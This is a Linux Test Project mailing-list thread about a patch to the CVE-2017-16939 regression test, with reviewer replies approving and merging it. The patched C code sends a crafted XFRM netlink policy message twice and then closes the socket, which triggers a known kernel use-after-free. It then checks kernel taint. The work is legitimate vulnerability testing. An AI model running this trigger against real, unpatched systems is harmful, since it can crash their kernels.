[LTP] [PATCH] cve-2017-16939: Improve and fix test

[LTP] [PATCH] cve-2017-16939: Improve and fix test

[Martin Doucha]

The test was unable to reproduce the kernel bug because it needs to
send then netlink message twice and then close the socket. Sending it
just once is not enough.

Also remove unnecessary structures and code and use taint checks.

Signed-off-by: Martin Doucha <mdoucha@suse.cz>
---
 testcases/cve/cve-2017-16939.c | 63 ++++++++++++++++++++--------------
 1 file changed, 38 insertions(+), 25 deletions(-)

diff --git a/testcases/cve/cve-2017-16939.c b/testcases/cve/cve-2017-16939.c
index e41fb274a..fc3500d57 100644
--- a/testcases/cve/cve-2017-16939.c
+++ b/testcases/cve/cve-2017-16939.c
@@ -29,50 +29,63 @@
 
 #define BUFSIZE 2048
 
-static int fd;
-static struct sockaddr_nl addr;
-
-struct msg_policy {
-	struct nlmsghdr msg;
-	char buf[BUFSIZE];
-};
-static struct msg_policy *p;
+static int fd = -1;
+static struct sockaddr_nl nl_addr;
+static struct nlmsghdr xfrm_msg;
 
 static void setup(void)
 {
 	tst_setup_netns();
 
-	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
-	memset(&addr, 0, sizeof(struct sockaddr_nl));
-	addr.nl_family = AF_NETLINK;
-	addr.nl_pid = 0; /* packet goes into the kernel */
-	addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
+	nl_addr.nl_family = AF_NETLINK;
+	nl_addr.nl_pid = 0; /* packet goes into the kernel */
+	nl_addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
 
-	p = SAFE_MALLOC(sizeof(struct msg_policy));
-	memset(p, 0, sizeof(struct msg_policy));
+	xfrm_msg.nlmsg_len = NLMSG_LENGTH(0);
+	xfrm_msg.nlmsg_type = XFRM_MSG_GETPOLICY;
+	xfrm_msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST;
+	xfrm_msg.nlmsg_seq = 0x1;
+	xfrm_msg.nlmsg_pid = 2;
+}
 
-	p->msg.nlmsg_len = 0x10;
-	p->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
-	p->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
-	p->msg.nlmsg_seq = 0x1;
-	p->msg.nlmsg_pid = 2;
+static void send_nlmsg(int fd, struct nlmsghdr *msg, struct sockaddr_nl *addr)
+{
+	SAFE_SENDTO(1, fd, (void *)msg, msg->nlmsg_len, 0,
+		    (struct sockaddr *)addr, sizeof(struct sockaddr_nl));
 }
 
 static void run(void)
 {
-	int var = 0x100;
+	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
+	SAFE_SETSOCKOPT_INT(fd, SOL_SOCKET, SO_RCVBUF, 0x100);
 
-	SAFE_SETSOCKOPT(fd, SOL_SOCKET, SO_RCVBUF, &var, sizeof(int));
-	SAFE_SENDTO(1, fd, (void *) &p->msg, p->msg.nlmsg_len, 0,
-		    (struct sockaddr *) &addr,
-		    sizeof(struct sockaddr_nl));
+	/* message must be sent twice to trigger the bug */
+	send_nlmsg(fd, &xfrm_msg, &nl_addr);
+	send_nlmsg(fd, &xfrm_msg, &nl_addr);
+	SAFE_CLOSE(fd);
+
+	/* wait for socket close callback to crash */
+	usleep(100000);
+
+	if (tst_taint_check()) {
+		tst_res(TFAIL, "Kernel is vulnerable");
+		return;
+	}
 
 	tst_res(TPASS, "Kernel seems to have survived");
 }
 
+static void cleanup(void)
+{
+	if (fd >= 0)
+		SAFE_CLOSE(fd);
+}
+
 static struct tst_test test = {
 	.setup = setup,
 	.test_all = run,
+	.cleanup = cleanup,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_USER_NS=y",
 		"CONFIG_NET_NS=y",
-- 
2.38.1


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] [PATCH] cve-2017-16939: Improve and fix test

[Petr Vorel]

Hi Martin,

> The test was unable to reproduce the kernel bug because it needs to
> send then netlink message twice and then close the socket. Sending it
> just once is not enough.

> Also remove unnecessary structures and code and use taint checks.

Good catch, thanks!

Reviewed-by: Petr Vorel <pvorel@suse.cz>

Kind regards,
Petr

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] [PATCH] cve-2017-16939: Improve and fix test

[Petr Vorel]

> +++ b/testcases/cve/cve-2017-16939.c
> @@ -29,50 +29,63 @@

>  #define BUFSIZE 2048
Actually, BUFSIZE needs to be removed too.
I'll do it before merge.

Kind regards,
Petr

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] [PATCH] cve-2017-16939: Improve and fix test

[Petr Vorel]

Hi Martin,

> > +++ b/testcases/cve/cve-2017-16939.c
> > @@ -29,50 +29,63 @@

> >  #define BUFSIZE 2048
> Actually, BUFSIZE needs to be removed too.
> I'll do it before merge.

Merged with the change above.
Thank you!

Kind regards,
Petr

> Kind regards,
> Petr

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] [PATCH] cve-2017-16939: Improve and fix test

[Martin Doucha]

On 02. 12. 22 14:09, Petr Vorel wrote:
> Hi Martin,
> 
>>> +++ b/testcases/cve/cve-2017-16939.c
>>> @@ -29,50 +29,63 @@
> 
>>>   #define BUFSIZE 2048
>> Actually, BUFSIZE needs to be removed too.
>> I'll do it before merge.
> 
> Merged with the change above.
> Thank you!

Thanks

-- 
Martin Doucha   mdoucha@suse.cz
QA Engineer for Software Maintenance
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp